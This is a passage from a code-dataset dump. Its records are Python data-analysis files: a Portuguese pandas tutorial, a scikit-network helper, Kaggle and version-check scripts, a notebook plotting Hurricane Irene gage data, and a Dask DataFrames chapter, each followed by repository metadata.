`df_dict_series`:\n\ndf_dict_series['Sobrenome'] = ['Silva', 'PraDo', 'Sales', 'MachadO', 'Coutinho']\ndf_dict_series\n\nVamos encontrar as linhas cujo sobrenome termina em \"do\". Para tanto, note que a fun\u00e7\u00e3o abaixo retorna `True` se o final \u00e9 \"do\" e `False` caso contr\u00e1rio.\n\n```python\ndef verifica_final_do(palavra):\n    return palavra.lower()[-2:] == 'do'\n```\n**Obs**.: Note que convertemos tudo para min\u00fasculo.\n\nAgora vamos utilizar essa fun\u00e7\u00e3o para alcan\u00e7ar nosso objetivo:\n\n# 'map' aplica a fun\u00e7\u00e3o lambda a cada elemento da *Series*\ndf_dict_series['Sobrenome'].map(lambda palavra: palavra.lower()[-2:]=='do') \n\n# procurando no df inteiro\ndf_dict_series.loc[df_dict_series['Sobrenome'].map(lambda palavra: palavra.lower()[-2:]=='do')]\n\nVamos selecionar as linhas do m\u00eas 2 (fevereiro) usando `index.month`:\n\ndados_covid_PB.loc[dados_covid_PB.index.month==2].head()\n\n### Sele\u00e7\u00e3o de linhas com o m\u00e9todo *query*\n\nSimilarmente ao m\u00e9todo `eval`, ao utilizarmos `query`, podemos criar express\u00f5es l\u00f3gicas a partir de nomes das colunas do *DataFrame*.\n\nAssim, podemos reescrever o c\u00f3digo\n\n```python\ndados_covid_PB.loc[(dados_covid_PB.obitosNovos>25) & \n                   (dados_covid_PB.casosNovos>1500)]\n```\ncomo\n\ndados_covid_PB.query('obitosNovos>25 and casosNovos>1500') # note que 'and' \u00e9 usado em vez de '&'", "meta": {"hexsha": "a496f4737855a784c022468226647becc37b9578", "size": 23718, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/ipynb/06b-pandas-dataframe.py", "max_stars_repo_name": "gcpeixoto/FMECD", "max_stars_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/ipynb/06b-pandas-dataframe.py", "max_issues_repo_name": "gcpeixoto/FMECD", "max_issues_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/ipynb/06b-pandas-dataframe.py", "max_forks_repo_name": "gcpeixoto/FMECD", "max_forks_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.1377777778, "max_line_length": 445, "alphanum_fraction": 0.7375832701, "include": true, "reason": "import numpy", "num_tokens": 7074, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.14223189319192514, "lm_q1q2_score": 0.06391796518642955}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on May 31 2019\n@author: Nathan de Lara <ndelara@enst.fr>\n\"\"\"\nimport numpy as np\n\n\ndef top_k(scores: np.ndarray, k: int = 1):\n    \"\"\"Index of the k elements with highest value.\n\n    Parameters\n    ----------\n    scores : np.ndarray\n        Array of values.\n    k : int\n        Number of elements to return.\n\n    Examples\n    --------\n    >>> scores = np.array([0, 1, 0, 0.5])\n    >>> top_k(scores, k=2)\n    array([1, 3])\n\n    Notes\n    -----\n    This is a basic implementation that sorts the entire array to find its top k elements.\n    \"\"\"\n    return np.argsort(-scores)[:k]\n", "meta": {"hexsha": "8d4fd0f5fac2e225bffc62b835c0299a00ad0a64", "size": 634, "ext": "py", "lang": "Python", "max_stars_repo_path": "sknetwork/ranking/postprocess.py", "max_stars_repo_name": "altana-tech/scikit-network", "max_stars_repo_head_hexsha": "dedc9d3e694c7106e4709aae22dffb5142c15859", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 457, "max_stars_repo_stars_event_min_datetime": "2018-07-24T12:42:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T08:30:39.000Z", "max_issues_repo_path": "sknetwork/ranking/postprocess.py", "max_issues_repo_name": "altana-tech/scikit-network", "max_issues_repo_head_hexsha": "dedc9d3e694c7106e4709aae22dffb5142c15859", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 281, "max_issues_repo_issues_event_min_datetime": "2018-07-13T05:01:19.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T14:13:43.000Z", "max_forks_repo_path": "sknetwork/ranking/postprocess.py", "max_forks_repo_name": "altana-tech/scikit-network", "max_forks_repo_head_hexsha": "dedc9d3e694c7106e4709aae22dffb5142c15859", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 58, "max_forks_repo_forks_event_min_datetime": "2019-04-22T09:04:32.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T12:43:08.000Z", "avg_line_length": 20.4516129032, "max_line_length": 90, "alphanum_fraction": 0.570977918, "include": true, "reason": "import numpy", "num_tokens": 176, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1329642333263228, "lm_q1q2_score": 0.06388647905628504}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n# Any results you write to the current directory are saved as output.\n\n# Read in the file (King's County housing prices) and summarize the information\n\ndf = pd.read_csv('../input/kc_house_data.csv')\n\ndf.info()\n\n\n# In[ ]:\n\n\ndf.describe() # Look at a description of the features\n\n\n# In[ ]:\n\n\ndf.columns # What are the features?\n\n\n# In[ ]:\n\n\nfeat_null = [feat for feat in df.columns if df[feat].isnull().sum()!=0]\nfeat_null # No Null values \n# Delve deeper later\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "88fe0737885eb9785777cf93a0543c82da6d31a6", "size": 1135, "ext": "py", "lang": "Python", "max_stars_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_29.py", "max_stars_repo_name": "josepablocam/common-code-extraction", "max_stars_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_29.py", "max_issues_repo_name": "josepablocam/common-code-extraction", "max_issues_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "downloaded_kernels/house_sales/converted_notebooks/kernel_29.py", "max_forks_repo_name": "josepablocam/common-code-extraction", "max_forks_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-07-12T00:48:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-11T12:53:05.000Z", "avg_line_length": 21.0185185185, "max_line_length": 112, "alphanum_fraction": 0.7136563877, "include": true, "reason": "import numpy", "num_tokens": 277, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12765262532179067, "lm_q1q2_score": 0.06382631266089533}}
{"text": "# 1. Start Python and check versions\r\n\r\n# Check the versions of libraries\r\n# Python version\r\nimport sys\r\nprint('Python: {}'.format(sys.version))\r\n# scipy\r\nimport scipy\r\nprint('scipy: {}'.format(scipy.__version__))\r\n# numpy\r\nimport numpy\r\nprint('numpy: {}'.format(numpy.__version__))\r\n# matplotlib\r\nimport matplotlib\r\nprint('matplotlib: {}'.format(matplotlib.__version__))\r\n# pandas\r\nimport pandas\r\nprint('pandas: {}'.format(pandas.__version__))\r\n# scikit-learn\r\nimport sklearn\r\nprint('sklearn: {}'.format(sklearn.__version__))\r\n\r\n# FUTURE: Develop into a function\r\n#def lib_review(libref):\r\n#    import libref\r\n#    print('libref: {}'.format(libref.__version__))\r\n#    return librefout\r\n\r\n#lib_review(scipy)\r\n", "meta": {"hexsha": "9736c41c0fc5bb17748ea957ecbe4751f2cb39c7", "size": 709, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/00_Repo/check-versions-of-packages.py", "max_stars_repo_name": "James-McNeill/Learning", "max_stars_repo_head_hexsha": "3c4fe1a64240cdf5614db66082bd68a2f16d2afb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python/00_Repo/check-versions-of-packages.py", "max_issues_repo_name": "James-McNeill/Learning", "max_issues_repo_head_hexsha": "3c4fe1a64240cdf5614db66082bd68a2f16d2afb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Python/00_Repo/check-versions-of-packages.py", "max_forks_repo_name": "James-McNeill/Learning", "max_forks_repo_head_hexsha": "3c4fe1a64240cdf5614db66082bd68a2f16d2afb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.6333333333, "max_line_length": 55, "alphanum_fraction": 0.706629055, "include": true, "reason": "import numpy,import scipy", "num_tokens": 178, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.16238004274695514, "lm_q1q2_score": 0.06370767125373994}}
{"text": "\n# coding: utf-8\n\n# ># IOOS System Test: Rapid Deployment gages from USGS\n# \n# ###Can we obtain water level data from the rapid deployment gages, deployment for Hurricane Irene? \n# This notebook is based on IOOS System Test: Inundation\n# \n# #### Methodology:\n# \n# * USGS gage data (ASCII Text Files) obtained from http://ga.water.usgs.gov/flood/hurricane/irene/sites/datafiles/ and 90% of data zipped up for use in the notebook (large files were removed for efficiency)\n# * Station data Automatically gets unzipped\n# * Process data files (195 stations), and store data in dictionary for access\n# * Plot Water level data for the New Jersey area\n# * Plot Barometric pressure data for the New Jersey area\n# * Plot Gage Locations on a map, overlaid with the Hurricane Irene track line\n# * Plot time series of maximum waterlevel\n# * Plot locations of maximum waterlevel\n\n# ### import required libraries\n\n# In[1]:\n\nimport re\nimport os\nimport csv\nimport uuid\nimport zipfile\n\nfrom datetime import datetime\n\nimport folium\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.dates as md\nimport matplotlib.pyplot as plt\n\nfrom IPython.display import HTML, Javascript, display\n\nfrom utilities import css_styles, inline_map\ncss_styles()\n\n\n# <div class=\"success\"><strong>Extract Data </strong> - Does the data dir exist, if not extract it </div>\n\n# In[2]:\n\ndef unzip(source_filename, dest_dir):\n    with zipfile.ZipFile(source_filename) as zf:\n        zf.extractall(dest_dir)\n\n\n# In[3]:\n\nif os.path.isdir(\"data_files\"):\n    pass\nelse:\n    print(\"Data Dir does not exist... Extracting.\")\n    unzip('sample_data_files.zip', os.getcwd())\n\n\n# In[4]:\n\nfiles = os.listdir('data_files') \nprint(\"Water Level Files: %s\" % len(files))\n\n\n# <div class=\"info\"><strong>Process Data </strong> - Read the data files and create a dict of the fields </div>\n\n# In[5]:\n\ndef parse_metadata(fname):\n    meta_data = {}\n    non_decimal = re.compile(r'[^\\d.]+')\n    fields = {'Sensor location latitude': 'lat',\n              'Sensor location longitude': 'lon',\n              'Site id =': 'name',\n              'Sensor elevation above NAVD 88 =': 'elevation',\n              'Barometric sensor site (source of bp) =': 'bp_source',\n              'Lowest recordable water elevation is': 'lowest_wl'}\n    with open(os.path.join('data_files', fname)) as f:\n        content = f.readlines()\n        for k, ln in enumerate(content):\n            content[k] = ln.strip()\n            if content[k].startswith('#'):\n                for fd in fields:\n                    if fd in content[k]:\n                        if fields[fd] == 'name':\n                            meta_data[fields[fd]] = content[k].split(fd)[-1]\n                        else:\n                            val = (content[k].split(fd)[-1])\n                            val = float(non_decimal.sub('', val))\n                            meta_data[fields[fd]] = val\n                        if fields[fd] == 'lon':\n                            meta_data[fields[fd]] = -meta_data[fields[fd]]\n    return meta_data\n\n\n# In[6]:\n\ndivid = str(uuid.uuid4())\n\npb = HTML(\"\"\"\n<div style=\"border: 1px solid black; width:500px\">\n  <div id=\"%s\" style=\"background-color:blue; width:0%%\">&nbsp;</div>\n</div> \n\"\"\" % divid)\n\ndisplay(pb)\nfull_data = {}\nfor count, fname in enumerate(files):\n    meta_data = parse_metadata(fname)\n    kw = dict(parse_dates=True, sep='\\t', skiprows=29, index_col=0)\n    actual_data = pd.read_csv(os.path.join('data_files', fname), **kw)\n    full_data[fname] = {'meta': meta_data,\n                        'data': actual_data}\n    \n    percent_complete = ((float(count+1) / float(len(files))) * 100.)\n    display(Javascript(\"$('div#%s').width('%i%%')\" %\n                       (divid, int(percent_complete))))\n\n\n# #### Show the available fields from the processed data files\n\n# In[7]:\n\nprint(\"Data Fields: {}, {}, {}\".format(actual_data.index.name,\n                                       *actual_data.columns))\n\n\n# # Remove 'Sensor elevation above NAVD 88 (ft)'\n\n# In[8]:\n\nfor key, value in full_data.iteritems():\n    offset = float(value['meta']['elevation'])\n    value['data']['elevation'] -= offset\n\n\n# ## Plot all Water Level data in the NJ area\n\n# In[9]:\n\nfig, ax = plt.subplots(figsize=(16, 3))\n\nfig.suptitle('Water Elevation', fontsize=14)\n\nfor key, value in full_data.iteritems():\n    try:\n        if 'SSS-NJ' in key:\n            df = value['data']                     \n            ax.plot(df.index, df['elevation'])\n            ax.set_xlabel('Date', fontsize=14)\n            ax.set_ylabel('Elevation (ft)', fontsize=14) \n    except Exception as e:\n        print(e)\n\n\n# ## Plot all Pressure data in the NJ area\n\n# In[10]:\n\nfig, ax = plt.subplots(figsize=(16, 3))\n\nfig.suptitle('nearest_barometric_sensor_psi', fontsize=14)\n\nfor key, value in full_data.iteritems():\n    try:\n        if 'SSS-NJ' in key:\n            df = value['data']                     \n            ax.plot(df.index, df['nearest_barometric_sensor_psi'])\n            ax.set_xlabel('Date', fontsize=14)\n            ax.set_ylabel('Nearest barometric sensor (psi)', fontsize=14) \n    except Exception as e:\n        print(e)\n\n\n# ## Map the Gage locations\n\n# In[11]:\n\nmap = folium.Map(width=800, height=500, location=[30, -73], zoom_start=4)\n\n# Generate the color map for the storms.\ncolor_list = {\"Tropical Storm\": '#4AD200',\n              \"Category 1 Hurricane\": '#CFD900',\n              \"Category 2 Hurricane\": '#E16400',\n              \"Category 3 Hurricane\": '#ff0000'}\n\n\n# Add the track line.\nwith open('track.csv', 'rb') as csvfile:\n    spamreader = csv.reader(csvfile, delimiter=',', quotechar='|')\n    for row in spamreader:\n        lon, lat = row[3], row[2]\n        popup = \"{} : {} <br> {}\".format(row[0], row[1], row[6])\n        map.circle_marker([lat, lon], popup=popup,\n                          fill_color=color_list[row[6]],\n                          radius=10000, line_color='#000000')\n\n# Add the station.\nfor st in full_data:\n    lat = full_data[st]['meta']['lat']\n    lon = full_data[st]['meta']['lon']\n    map.simple_marker([lat, lon], popup=st, clustered_marker=True)    \n\nmap.add_layers_to_map()\ninline_map(map)\n\n\n# ## Generate Plot Of Maximum Water Levels from each gage\n\n# In[12]:\n\ndt, dv = [], []\n\nfig, ax = plt.subplots(figsize=(16, 3))\nfig.suptitle('Max Water Level (ft), 2011', fontsize=14)\n\nfor key, value in full_data.iteritems():\n    df = value['data']                     \n    z = df['elevation'].values\n    \n    idx = np.argmax(z)\n    val = z[idx]\n    t = df.index[idx]\n    \n    dt.append(t)\n    dv.append(val)\n    \n    data_dict = {'elevation': dv,\n                 'dates': dt}\n    \n    df = pd.DataFrame(data=data_dict, index=dt, columns=['elevation', 'dates'])   \n    \n    ax.scatter(df.index, df['elevation'])\n    ax.set_xlabel('Date', fontsize=14)\n    ax.set_ylabel('Water Level (ft)', fontsize=14) \n\n\nax.set_ylim(0, 20)\nax.set_xlim(md.date2num(datetime(2011, 8, 25, 20)),\n            md.date2num(datetime(2011, 8, 30)))\nax.xaxis.set_major_formatter(md.DateFormatter('%B,%d\\n%H:%M'))\n\n\n# ## Generate Plot of maximum water level and its location\n\n# In[13]:\n\nmpl.rcParams['legend.fontsize'] = 10\n\nx, y, zz, bpz = [], [], [], []\n\nfig, ax = plt.subplots(figsize=(10, 10))\n\nfor key, value in full_data.iteritems():\n    df = value['data']\n    z = df['elevation'].values\n    bp = df['nearest_barometric_sensor_psi'].values\n    lon = value['meta']['lon']\n    lat = value['meta']['lat']\n    \n    idx = np.argmax(z)\n    bpz.append(bp[idx])\n    zz.append(z[idx])\n    x.append(lon)\n    y.append(lat)\n\nbpz = np.array(bpz) * 10.\npts = ax.scatter(x, y, c=zz, s=bpz)\nax.set_xlabel('Lon')\nax.set_ylabel('Lat')\ntitle = (\"Plot Showing Locations of Maximum Water Level\\n\"\n         \"Color coded by Maximum water level (ft)\\n\"\n         \"Sized by barometric pressure (psi)\")\nax.set_title(title)\ncb = fig.colorbar(pts)\n\n", "meta": {"hexsha": "7995330dd19d5c0b0da794dfa4d064c14201bc37", "size": 7852, "ext": "py", "lang": "Python", "max_stars_repo_path": "Theme_2_Extreme_Events/Scenario_2D/USGS_Gauges/Rapid_Deploy_Gauges.py", "max_stars_repo_name": "ocefpaf/system-test", "max_stars_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Theme_2_Extreme_Events/Scenario_2D/USGS_Gauges/Rapid_Deploy_Gauges.py", "max_issues_repo_name": "ocefpaf/system-test", "max_issues_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Theme_2_Extreme_Events/Scenario_2D/USGS_Gauges/Rapid_Deploy_Gauges.py", "max_forks_repo_name": "ocefpaf/system-test", "max_forks_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.9430604982, "max_line_length": 207, "alphanum_fraction": 0.6032857871, "include": true, "reason": "import numpy", "num_tokens": 2007, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.13477592784882603, "lm_q1q2_score": 0.0637063541403277}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport dask\nimport numpy as np\nimport numpy.typing as npt\nfrom typing import *\nimport pandas as pd\nimport dask.dataframe as dd\n\n\n# In[ ]:\n\n\nurl = \"https://gender-pay-gap.service.gov.uk/viewing/download-data/2021\"\n#tag::ex_load_1kb[]\nmany_chunks = dd.read_csv(url, blocksize=\"1kb\")\nmany_chunks.index\n#end::ex_load_1kb[]\n\n\n# In[ ]:\n\n\n#tag::ex_load_uk_gender_pay_gap_infered[]\ndf = dd.read_csv(\n    \"https://gender-pay-gap.service.gov.uk/viewing/download-data/2021\")\n#end::ex_load_uk_gender_pay_gap_infered[]\n\n\n# In[ ]:\n\n\n# The df.compute() is not needed for the load, but because Dask is lazy we need to trigger a compute\n# for Dask to evaluate the DataFrame and notice the error.\ntry:\n    df.compute() # Observe the failure\nexcept Exception as e:\n        print(e)\n# - CompanyNumber\n#  ValueError(\"invalid literal for int() with base 10: 'SC312912'\")\n#end::ex_load_uk_gender_pay_gap_infered\n\n\n# In[ ]:\n\n\n#tag::ex_load_uk_gender_pay_gap[]\ndf = dd.read_csv(\n    \"https://gender-pay-gap.service.gov.uk/viewing/download-data/2021\",\n    dtype={'CompanyNumber': 'str', 'DiffMeanHourlyPercent': 'float64'})\n#end::ex_load_uk_gender_pay_gap[]\n\n\n# In[ ]:\n\n\n#tag::csv_gender_pay_gap_with_full_inference[]\ndf = dd.read_csv(\n    \"https://gender-pay-gap.service.gov.uk/viewing/download-data/2021\",\n    sample=256000000000000000000000000000000000000000000) # size in bytes to sample\n# One day this should work, but for now it does not and we get the same error as if we had not sampled the entire CSV file\n# df.compute()\n#end::csv_gender_pay_gap_with_full_inference[]\n\n\n# In[ ]:\n\n\nfrom fsspec.registry import known_implementations\nknown_implementations\n\n\n# In[ ]:\n\n\n#tag::filna_ex[]\ndef fillna(df):\n    return df.fillna(value={\"PostCode\": \"UNKNOWN\"}).fillna(value=0)\n    \nnew_df = df.map_partitions(fillna)\n# Since there could be an NA in the index clear the partition / division information\nnew_df.clear_divisions()\n#end::filna_ex[]\n\n\n# In[ ]:\n\n\nnew_df.compute()\n\n\n# In[ ]:\n\n\nnarrow_df = new_df[[\"PostCode\", \"EmployerSize\", \"DiffMeanHourlyPercent\"]]\n\n\n# In[ ]:\n\n\ngrouped_df = narrow_df.groupby(\"PostCode\")\n\n\n# In[ ]:\n\n\nalt_grouped_df = new_df.groupby([\"PostCode\", \"SicCodes\"])\nalt_grouped_df.sum().head(2)\n\n\n# In[ ]:\n\n\navg_by_postalcode = grouped_df.mean()\n\n\n# In[ ]:\n\n\navg_by_postalcode.compute()\n\n\n# In[ ]:\n\n\nops_by_postcalcode = narrow_df.set_index(\"PostCode\", npartitions=10)\nlen(list(ops_by_postcalcode.partitions))\n\n\n# In[ ]:\n\n\n# Le sad, you can see this doesn't actually respect the partition size of one byte.\ndask.visualize(narrow_df.set_index(\"PostCode\", npartitions=\"auto\", partition_size=1))\n\n\n# In[ ]:\n\n\nindexed = narrow_df.set_index(\"PostCode\")\n#tag::repartition[]\nreparted = indexed.repartition(partition_size=\"20kb\")\n#end::repartition[]\ndask.visualize(narrow_df.set_index(\"PostCode\").repartition(partition_size=\"20kb\"))\n\n\n# In[ ]:\n\n\ndask.visualize(ops_by_postcalcode)\n\n\n# In[ ]:\n\n\nfast_grouped_df = ops_by_postcalcode.groupby(\"PostCode\")\nfast_grouped_df.mean().compute()\n\n\n# In[ ]:\n\n\n# Kind of hacky string munging to get a median-ish to weight our values.\ndef update_empsize_to_median(df):\n    def to_median(value):\n        if \" to \" in value:\n            f , t = value.replace(\",\", \"\").split(\" to \")\n            return (int(f) + int(t)) / 2.0\n        elif \"Less than\" in value:\n            return 100\n        else:\n            return 10000\n    df[\"EmployerSize\"] = df[\"EmployerSize\"].apply(to_median)\n    return df\n\n\ndf_with_median_emp_size = narrow_df.map_partitions(update_empsize_to_median)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\ndf_with_median_emp_size.head(1)\n\n\n# In[ ]:\n\n\ndef join_emp_with_diff(df):\n    # In practice life would be easier if we multiplied these together but to illustrate\n    # the custom aggregate we'll make this a tuple for now\n    df[\"empsize_diff\"] = list(df[[\"EmployerSize\", \"DiffMeanHourlyPercent\"]].to_records(index=False))\n    return df\ndf_diff_with_emp_size = df_with_median_emp_size.map_partitions(\n    join_emp_with_diff)\ndf_diff_with_emp_size.head(1)\n\n\n# In[ ]:\n\n\n#tag::custom_agg[]\n# Write a custom weighted mean, we get either a DataFrameGroupBy with multiple columns or SeriesGroupBy for each chunk\ndef process_chunk(chunk):\n    def weighted_func(df):\n        return (df[\"EmployerSize\"] * df[\"DiffMeanHourlyPercent\"]).sum()\n    return (chunk.apply(weighted_func), chunk.sum()[\"EmployerSize\"])\n        \ndef agg(total, weights):\n    return (total.sum(), weights.sum())\n\ndef finalize(total, weights):\n    return total / weights\n    \nweighted_mean = dd.Aggregation(\n    name='weighted_mean',\n    chunk=process_chunk,\n    agg=agg,\n    finalize=finalize)\n\naggregated = df_diff_with_emp_size.groupby(\"PostCode\")[\"EmployerSize\", \"DiffMeanHourlyPercent\"].agg(weighted_mean)\n#end::custom_agg[]\nj = aggregated.head(4)\nj\n\n\n# In[ ]:\n\n\n#tag::custom_agg_hyperloglog[]\n# Wrap Dask's hyperloglog in dd.Aggregation\n\nfrom dask.dataframe import hyperloglog\n\napprox_unique = dd.Aggregation(\n    name='aprox_unique',\n    chunk=hyperloglog.compute_hll_array,\n    agg=hyperloglog.reduce_state,\n    finalize=hyperloglog.estimate_count)\n\naggregated = df_diff_with_emp_size.groupby(\"PostCode\")[\"EmployerSize\", \"DiffMeanHourlyPercent\"].agg(weighted_mean)\n#end::custom_agg_hyperloglog[]\nj = aggregated.head(4)\nj\n\n\n# In[ ]:\n\n\naggregated = new_df.groupby(\"PostCode\")[\"EmployerId\"].apply(lambda g: list(g))\naggregated.head(4)\n\n\n# In[ ]:\n\n\n# For loading data example the note here is that whatever params we pass through read_x\n# if not consumed by dask (e.g. blocksize is used by Dask), \n# More generally all of Dask's DataFrame functions follow this pattern.\nsf_covid_df = dd.read_csv(\"https://data.sfgov.org/api/views/gqw3-444p/rows.csv?accessType=DOWNLOAD\", blocksize=None, dtype={\n    'pct_tot_new_cases': 'float64',\n    'pct_tot_new_cases_7_day_avg': 'float64',\n    'new_case_rate': 'float64',\n    'new_case_rate_7_day_avg': 'float64',\n    'new_cases_7_day_avg': 'float64'}, parse_dates=['specimen_collection_date'], infer_datetime_format=True)\n\n\n# In[ ]:\n\n\nsf_covid_df.columns\n\n\n# In[ ]:\n\n\nsf_covid_df.head(10)\n\n\n# In[ ]:\n\n\n#tag::compute_entire_max_mean[]\ndask.compute(\n    sf_covid_df[[\"new_cases\"]].max(),\n    sf_covid_df[[\"new_cases\"]].mean()\n)\n#end::compute_entire_max_mean[]\n\n\n# In[ ]:\n\n\n#tag::static_group[]\nraw_grouped = sf_covid_df.groupby(lambda x: 0)\n#end::static_group[]\n\n#tag::max_mean[]\ndask.compute(\n    raw_grouped[[\"new_cases\"]].max(),\n    raw_grouped[[\"new_cases\"]].mean())\n#end::max_mean[]\n\n\n# In[ ]:\n\n\n# Drop columns & rows we don't care about before repartitioning\n#tag::index_covid_data[]\nmini_sf_covid_df = sf_covid_df[sf_covid_df['vaccination_status'] == 'All'][['specimen_collection_date', 'new_cases']]\n#end::index_covid_data[]\n\n\n# In[ ]:\n\n\nmini_sf_covid_df.index\n\n\n# In[ ]:\n\n\nindexed_df = mini_sf_covid_df.set_index('specimen_collection_date', npartitions=5)\nindexed_df.head(1)\n\n\n# In[ ]:\n\n\nfrom datetime import datetime\n\n#tag::set_index_with_rolling_window[]\ndivisions = pd.date_range(start=\"2021-01-01\", end=datetime.today(), freq='7D').tolist()\npartitioned_df_as_part_of_set_index = mini_sf_covid_df.set_index(\n    'specimen_collection_date', divisions=divisions)\n#end::set_index_with_rolling_window[]\n\n\n# In[ ]:\n\n\npartitioned_df_as_part_of_set_index.divisions\n\n\n# In[ ]:\n\n\nlen(list(indexed_df.partitions))\n\n\n# In[ ]:\n\n\n# Repartition on 14 day window\npartitioned_df = indexed_df.repartition(freq='14D', force=True)\n\n\n# In[ ]:\n\n\nindexed_df.divisions\n\n\n# In[ ]:\n\n\npartitioned_df.divisions\n\n\n# In[ ]:\n\n\n# Rolling average with time delta\n#tag::rolling_date_ex[]\nrolling_avg = partitioned_df.map_overlap(lambda df: df.rolling('5D').mean(), pd.Timedelta('5D'), 0)\n#end::rolling_date_ex[]\n\n\n# In[ ]:\n\n\nrolling_avg.compute()\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "5d8453d1aaf0d43de730d30782045693cb5be752", "size": 7714, "ext": "py", "lang": "Python", "max_stars_repo_path": "dask/Dask-Ch4-DataFrames.py", "max_stars_repo_name": "mlkimmins/scalingpythonml", "max_stars_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dask/Dask-Ch4-DataFrames.py", "max_issues_repo_name": "mlkimmins/scalingpythonml", "max_issues_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dask/Dask-Ch4-DataFrames.py", "max_forks_repo_name": "mlkimmins/scalingpythonml", "max_forks_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.285, "max_line_length": 124, "alphanum_fraction": 0.7128597355, "include": true, "reason": "import numpy", "num_tokens": 2157, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. 